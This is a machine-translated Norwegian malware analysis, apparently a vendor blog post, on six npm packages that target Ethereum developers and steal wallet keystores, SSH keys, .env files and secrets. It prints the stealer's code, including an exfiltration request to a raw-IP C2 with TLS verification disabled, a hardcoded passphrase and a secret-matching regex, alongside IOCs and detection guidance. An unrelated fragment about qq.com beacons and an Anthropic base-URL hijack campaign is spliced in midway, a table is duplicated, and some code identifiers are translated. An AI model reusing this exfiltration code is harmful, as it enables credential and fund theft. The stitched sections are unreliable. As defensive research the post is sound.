TL; DR
6. mai 2026, en enkelt npm-utgiver, namikazesarada010206, sendte ut seks ondsinnede pakker rettet mot Ethereum-, Solidity- og DeFi-utviklerøkosystemet.
Pakkene, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utilsog web3-utils-core, brukte plausible navn designet for å se ut som hjelpebiblioteker for populære Web3-verktøy.
Alle seks pakkene inneholdt det samme telemetry.js fil. Filen var byte-identisk på tvers av klyngen, med SHA-256:
Skadevaren kjører ikke under installasjon. Det finnes ingen preinstall or postinstall krok. I stedet aktiveres den når pakken importeres gjennom require().
Den detaljen er viktig.
Implantatet venter til en utvikler faktisk bruker pakken. Deretter sjekker det om arbeidsstasjonen ser ut som et ekte Ethereum/Solidity-utviklingsmiljø. Det ser etter Alchemy- eller Infura-nøkler, private nøkler, mnemonics, deployer-nøkler eller en lokal Foundry-katalog.
Hvis verten samsvarer, samler stjelen SSH-private nøkler, Foundry / Geth / Brownie-lommeboknøkkellagre, .env* filer og sensitive miljøvariabler. Den krypterer pakken med AES-256-GCM ved hjelp av en hardkodet passordfrase og eksfiltrerer den til et rått IPv4 C2-endepunkt med TLS-verifisering deaktivert.
Xygenis system for tidlig varsling av skadelig programvare (MEW) bekreftet at alle seks pakkene var skadelige. Rapportpakken om fjerning av npm-registeret er ventende.
Klyngen: Seks pakker, én utgiver
Utgiverkontoen namikazesarada010206 var koblet til den ubekreftede Gmail-adressen namikazesarada010206@gmail.com.
Kampanjen dukket opp som en endagspublikasjonsutgivelse 6. mai 2026. Alle seks pakkene ble versjonert som 1.0.0, hadde null kjøretidsavhengigheter, og leverte bare tre filer:
package.json index.js telemetry.js De erklærte også det samme kildelageret:
https://github.com/harunosakura030303-maker/evmchain-config De tre første pakkene ble fanget opp av MEW-skannere ved første publisering. De resterende tre ble tvangsflagget etter analytikergjennomgang av utgiverens npm-profil. Når den samme byte-identiske telemetry.js ble bekreftet på tvers av klyngen, ble de lukket som ondsinnede på grunn av konsekvens.
| Pakke | Versjon | npm Publisert | MEW-billett | Kjennelse |
|---|---|---|---|---|
| viem-kjerne | 1.0.0 | 2026-05-06 01:38:44Z | #51049 | Ondsinnet |
| viem-utils-core | 1.0.0 | 2026-05-06 | #51050 | Ondsinnet |
| hardhat-core-utils | 1.0.0 | 2026-05-06 | #51051 | Ondsinnet |
| evm-utils | 1.0.0 | 2026-05-06 | #51069 | Ondsinnet, av konsistens |
| støperiutstyr | 1.0.0 | 2026-05-06 | #51071 | Ondsinnet, av konsistens |
| web3-utils-core | 1.0.0 | 2026-05-06 | #51070 | Ondsinnet, av konsistens |
Navnestrategien er enkel, men effektiv.
Disse pakkene etterligner ikke eksakte oppstrømsnavn. I stedet bruker de plausible «verktøy»-suffikser som -core, -utilsog -utils-coreDet får dem til å se ut som tilhørende biblioteker en utvikler kan forvente å se i nærheten av Web3-verktøy.
| Ondsinnet pakke | Legitim mål |
|---|---|
| viem-kjerne | viem, en populær Ethereum TypeScript-klient |
| viem-utils-core | viem |
| hardhat-core-utils | hardhat, et vanlig Solidity-utviklingsmiljø |
| evm-utils | Generisk EVM-verktøynavneområde |
| støperiutstyr | støperi, en Solidity-verktøykjede |
| web3-utils-core | web3-utils, Web3.js-hjelpere |
Dette er mønsteret for «tilleggspakken»: ikke «Jeg er den virkelige pakken», men «Jeg ser ut som en rimelig hjelper rundt den virkelige pakken».
For DeFi-utviklere som beveger seg raskt, er det nok til å skape risiko.
Hva skjer når pakken importeres
Angrepskjeden er liten, bevisst og fokusert på kryptoutviklingsmiljøer.
Det er ingen monteringskrok. I stedet inneholder hver pakke en index.js som eksporterer stub-funksjonalitet og deretter laster den skadelige telemetrimodulen.
require('./telemetry').init(); Dette betyr at skadevaren aktiveres ved første import.
Det er driftsmessig nyttig for angriperen. Mange skannere og sandkasser fokuserer på oppførsel under installasjon. Denne pakken venter til den faktisk brukes av en utvikler, et byggeskript, en testpakke eller en kjøretidssti.
Aktiveringsport: Utløses kun på ekte Web3-utviklerarbeidsstasjoner
Den viktigste delen av implantatet er aktiveringsporten.
Skadevaren sjekker for miljøvariabler som vanligvis finnes på Ethereum/Solidity-utviklermaskiner:
const indicators = [ process.env.ALCHEMY_API_KEY, process.env.INFURA_KEY, process.env.PRIVATE_KEY, process.env.MNEMONIC, process.env.DEPLOYER_KEY, ].filter(Boolean); Den sjekker også om Foundry ser ut til å være installert:
fs.existsSync(path.join(os.homedir(), '.foundry')) Hvis ingen av betingelsene er sanne, returnerer funksjonen og gjør ingenting.
Det gjør pakken roligere i generiske analysemiljøer. En sandkasse uten Foundry, Alchemy-nøkler, Infura-nøkler, private nøkler eller mnemonics kan se ut som importen ser harmløs ut.
På en samsvarende vert venter skadevaren 60 til 90 sekunder før den samles inn:
setTimeout(() => { try { _collect(); } catch {} }, 60000 + Math.random() * 30000).unref(); Forsinkelsen reduserer den åpenbare korrelasjonen mellom import og utfiltrering. .unref() call lar også vertsprosessen avsluttes normalt hvis pakken ble importert i et kortlivet skript.
Dette er ikke støyende «smash-and-grab»-oppførsel. Det er en målrettet stjelingsfunksjon som er utformet for å unngå å kjøre med mindre utviklermiljøet er verdt å stjele fra.
Hva tyveren samler på
Når aktiveringsporten er passert, samles skadevaren inn fra kilder som er viktigst i Web3-utvikling: private nøkler, lommeboknøkkellagre, distribusjonslegitimasjon, skyhemmeligheter, npm-tokens og lokal prosjektkonfigurasjon.
| Kilde | Hva som samles inn |
|---|---|
| prosess.env | Enhver variabel som samsvarer med /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Filer som inneholder PRIVATE KEY eller BEGIN OPENSSH, inkludert fullstendig filinnhold |
| ~/.foundry/nøkkelbutikker/* | Foundry lommebok nøkkellagringsfiler |
| ~/.ethereum/nøkkelbutikk/* | Geth lommebok nøkkellagringsfiler |
| ~/.brownie/kontoer/* | Brownie lommebok nøkkellagringsfiler |
| ${cwd}/.env | Fullstendig filinnhold |
| ${cwd}/.env.local | Fullstendig filinnhold |
| ${cwd}/.env.production | Fullstendig filinnhold |
| ${cwd}/.env.development | Fullstendig filinnhold |
| os.vertsnavn() | Vertsmetadata |
| krypto.tilfeldigUUID() | Offer-/øktidentifikator |
| Dato.nå() | Tidsstempel for samling |
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com ATTA-tokenene er:
ATTA_ID 00400014144 ATTA_TOKEN 6478159937 Vi har ikke vært i stand til å bekrefte om telemetrien var operatørens egen analyse eller en separat monetarisert kanal. ATTA-tokenene er de samme i begge utvalgene vi undersøkte.
Klynge B: heibai
claude.hk OAuth-nettfisking + ANTHROPIC_BASE_URL-kapring
Utvalget fra 1. april er den grovere, tidligere delen av kampanjen.
heibai:2.1.88-claude.hk-4 ble utgitt av wuguoqiangvip28, en konto opprettet 7. juni 2025. Pakken versjonerte seg selv eksplisitt mot den legitime 2.1.88 Antropisk utgivelse.
Den bryr seg ikke om CA-cert MITM. I stedet lyver den til brukeren om OAuth-endepunktet.
De ondsinnede tilleggene i tillegg til den lekkede Claude Code-kildekoden inkluderer:
| Kilde | Hva som samles inn |
|---|---|
| prosess.env | Enhver variabel som samsvarer med /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Filer som inneholder PRIVATE KEY eller BEGIN OPENSSH, inkludert fullstendig filinnhold |
| ~/.foundry/nøkkelbutikker/* | Foundry lommebok nøkkellagringsfiler |
| ~/.ethereum/nøkkelbutikk/* | Geth lommebok nøkkellagringsfiler |
| ~/.brownie/kontoer/* | Brownie lommebok nøkkellagringsfiler |
| ${cwd}/.env | Fullstendig filinnhold |
| ${cwd}/.env.local | Fullstendig filinnhold |
| ${cwd}/.env.production | Fullstendig filinnhold |
| ${cwd}/.env.development | Fullstendig filinnhold |
| os.vertsnavn() | Vertsmetadata |
| krypto.tilfeldigUUID() | Offer-/øktidentifikator |
| Dato.nå() | Tidsstempel for samling |
Mållisten er svært spesifikk. Dette er ikke generisk nettlesertyveri eller bred skraping av legitimasjon. Den er rettet mot utviklere som bygger, tester, distribuerer eller driver Ethereum-applikasjoner.
Inkluderingen av Foundry-, Geth- og Brownie-nøkkellagre er spesielt viktig. Disse filene kan representere direkte tilgang til lommebøker eller distribusjonsidentiteter. Hvis angriperen kan koble dem med passord, mnemonikk eller miljøhemmeligheter, kan de være i stand til å flytte penger, utgi seg for å være distributører eller kompromittere smartkontraktoperasjoner.
Kryptering før eksfiltrering
Skadevaren krypterer de innsamlede dataene før de sendes ut.
const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv); Den hardkodede passordfrasen er:
a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d Den endelige nyttelasten pakkes inn som JSON:
{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"} Kryptering gjør ikke skadevaren mer avansert i seg selv. Det gjør imidlertid nettverksinspeksjon vanskeligere. En forsvarer som overvåker utgående systemer ville se en JSON-nyttelast, men ikke de stjålne nøklene, lommebokfilene eller .env innhold uten den hardkodede passordfrasen og dekrypteringslogikken.
Eksfiltrering til en rå IPv4 C2
Eksfiltreringsbanen er hardkodet:
const req = https.request({ hostname: '76.13.37.80', port: 8443, path: '/api/v1/telemetry', method: 'POST', headers: { 'Content-Type': 'application/json', ... }, rejectUnauthorized: false, timeout: 8000, }, () => {}); Skadevaren sender data til:
https://76.13.37.80:8443/api/v1/telemetry To detaljer skiller seg ut.
For det første er C2 en rå IPv4-adresse i stedet for et domene. Det fjerner behovet for domeneregistrering og unngår noen domenebaserte deteksjoner.
For det andre er TLS-verifisering deaktivert med:
rejectUnauthorized: false Det gjør at skadevaren kan godta alle sertifikater, inkludert selvsignerte sertifikater. Med andre ord får angriperen kryptert transport uten å trenge et gyldig offentlig sertifikat.
Det finnes ingen logikk for nye forsøk og ingen reservevert. Feil svelges stille. Dette holder pakken stille hvis C2 er frakoblet eller utilgjengelig.
Hvorfor denne kampanjen er viktig
De fleste ondsinnede npm-pakkene rettet mot utviklere jager bred legitimasjon: npm-tokens, AWS-nøkler, GitHub-tokens eller .npmrc filer.
Denne kampanjen snevrer inn målet.
Den ser etter tegn på at maskinen tilhører en Ethereum- eller Solidity-utvikler. Deretter henter den akkurat de ressursene som er viktige i det miljøet: lommeboknøkkellagre, private nøkler, mnemonikk, utplasseringsnøkler, .env filer og SSH-nøkler.
Det gjør kampanjen farligere for Web3-team enn en generisk npm-tyver.
En vellykket infeksjon kan avsløre:
- Distribusjonslommebøker
- Administratornøkler for smarte kontrakter
- RPC-leverandørnøkler
- Legitimering for skydistribusjon
- npm-publiseringstokener
- SSH-tilgang til utvikler eller byggeinfrastruktur
- Prosjekthemmeligheter lagret i
.envfiler - Lommeboknøkkelbutikker for Foundry, Geth eller Brownie
Pakkenavnene viser også tydelig sosial manipulering. De retter seg mot Web3-utviklerøkosystemet gjennom kjente verktøynavn: viem, hardhat, foundry, evmog web3.
Aktøren trenger ikke å inngå kompromisser med de virkelige prosjektene. De trenger bare en utvikler til å installere det som ser ut som en rimelig følgepakke.
Indikatorer for kompromittering og deteksjon
| Pakker og utgiver | |
|---|---|
| Felt | Verdi |
| npm-utgiver | namikazesarada010206 |
| Utgiverens e-postadresse | namikazesarada010206@gmail.com |
| e-post bekreftet | Nei |
| SCM verifisert | Nei |
| omdømme poengsum | 1.0 |
| Nettsidepakker | viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, web3-utils-core |
| versjoner | Alle 1.0.0 |
| Kildelager | https://github.com/harunosakura030303-maker/evmchain-config |
| Bekreftet skadelig | Alle seks pakkene |
| Network | |
|---|---|
| typen | Verdi |
| C2-endepunkt | https://76.13.37.80:8443/api/v1/telemetry |
| C2 IP | 76.13.37.80 |
| C2-port | 8443/tcp |
| TLS-oppførsel | avvisUautorisert: usann |
| Nyttelastskjema | {"v":2,"iv": «d»: «t»: } |
| Filer og hasher | |
|---|---|
| typen | Verdi |
| telemetri.js SHA-256 | 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1 |
| Pakkeoppsett | pakke.json, indeks.js, telemetri.js |
| Filantall | 3 |
| Omtrentlig totalstørrelse | 3.4 KB |
Aktiveringssignaler
Skadevaren sjekker etter disse miljøvariablene:
ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY Den sjekker også for:
~/.foundry/ Målrettede vertsstier
~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development Samlingsregeks
/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i Deteksjonsmerknader
Flere regler fanger opp denne kampanjen uten at det kreves full atferdsanalyse.
Først, skann låsefiler for de seks ondsinnede pakkenavnene:
viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core Enhver kamp i package-lock.json, yarn.lock, pnpm-lock.yamleller node_modules Historien bør behandles som en alvorlig hendelse.
For det andre, overvåk Node.js-prosesser som leser nøkkellagerstier for lommeboken:
~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/ Dette er sjelden legitim oppførsel for en pakke importert som en hjelpeavhengighet. Det er spesielt mistenkelig når det etterfølges av utgående nettverksaktivitet.
For det tredje, blokker eller varsle om HTTPS-tilkoblinger til:
76.13.37.80:8443 Spesielt når forespørselsstien er:
/api/v1/telemetry For det fjerde, let etter npm-pakker som kombinerer disse egenskapene:
- Nylig eller lavt anerkjent utgiver
- Ubekreftet Gmail-konto
- Web3-tilstøtende pakkenavn
- Ingen meningsfull historikk for arkivet
- Liten pakkeoppsett
index.jssom laster inn en telemetri- eller hjelpefil- Ingen kjøretidsavhengigheter
- Samling av sensitive miljøvariabler
- Tilgang til lommeboknøkkellager
Dette mønsteret er mer nyttig enn en enkelt IOC fordi den neste pakken kan endre IP-adressen, men beholde den samme målrettingslogikken.
Sjekkliste for kompromissrespons
Hvis en utvikler brukte en av de seks pakkene og miljøet deres samsvarte med aktiveringsporten, skal arbeidsstasjonen behandles som kompromittert.
Det inkluderer maskiner med Foundry installert, Alchemy- eller Infura-nøkler i miljøet, private nøkler, mnemonics eller distribusjonsnøkler.
Anbefalt svar:
- Koble fra verten fra nettverket.
- Bevare
node_modules, låsefiler, skallhistorikk og relevante logger for rettsmedisinske undersøkelser. - Roter hvert SSH-tastepar under
~/.ssh/. - Roter lommeboknøkler for hver nøkkelbutikk under
~/.foundry,~/.ethereumog~/.brownie. - Flytt penger til nye lommebøker.
- Roter alle hemmeligheter som er lagret i
.env*filer i repositorier utvikleren jobbet i. - Roter miljøhemmeligheter som samsvarer med samlingens regex, inkludert AWS-nøkler, npm-tokener, distribusjonstokener, API-nøkler, private nøkler, frø og mnemonikk.
- Revisjon av sky-, npm-, GitHub-, RPC-leverandør- og blokkjedeaktivitet siden pakken først ble installert.
- Lag et nytt bilde av arbeidsstasjonen før bruk på nytt.
Hva forsvarere bør ta med seg
Denne kampanjen viser hvordan npm typosquatting utvikler seg rundt økosystemer med høy verdi for utviklere.
Skuespilleren trengte ikke utholdenhet. De trengte ikke forvirring. De trengte ikke engang utførelse under installasjon.
I stedet stolte de på tre ting:
- Plausible Web3-pakkenavn
- Aktivering kun på ekte kryptoutviklingsmaskiner
- Direkte tyveri av filene og hemmelighetene som er viktigst for Ethereum-utviklere
Det gjør kampanjen lett å overse i bred skanning og farlig når den lander i riktig miljø.
For Web3-team er lærdommen klar: behandle avhengighetsnavn som en del av trusselmodellen din. En pakke som ser ut som en harmløs hjelper kan fortsatt bli den korteste veien til lommebokkompromittering.
Rapportert til npm-registeret. Vi oppdaterer dette innlegget når utgiverkontoen og pakkene er fjernet.




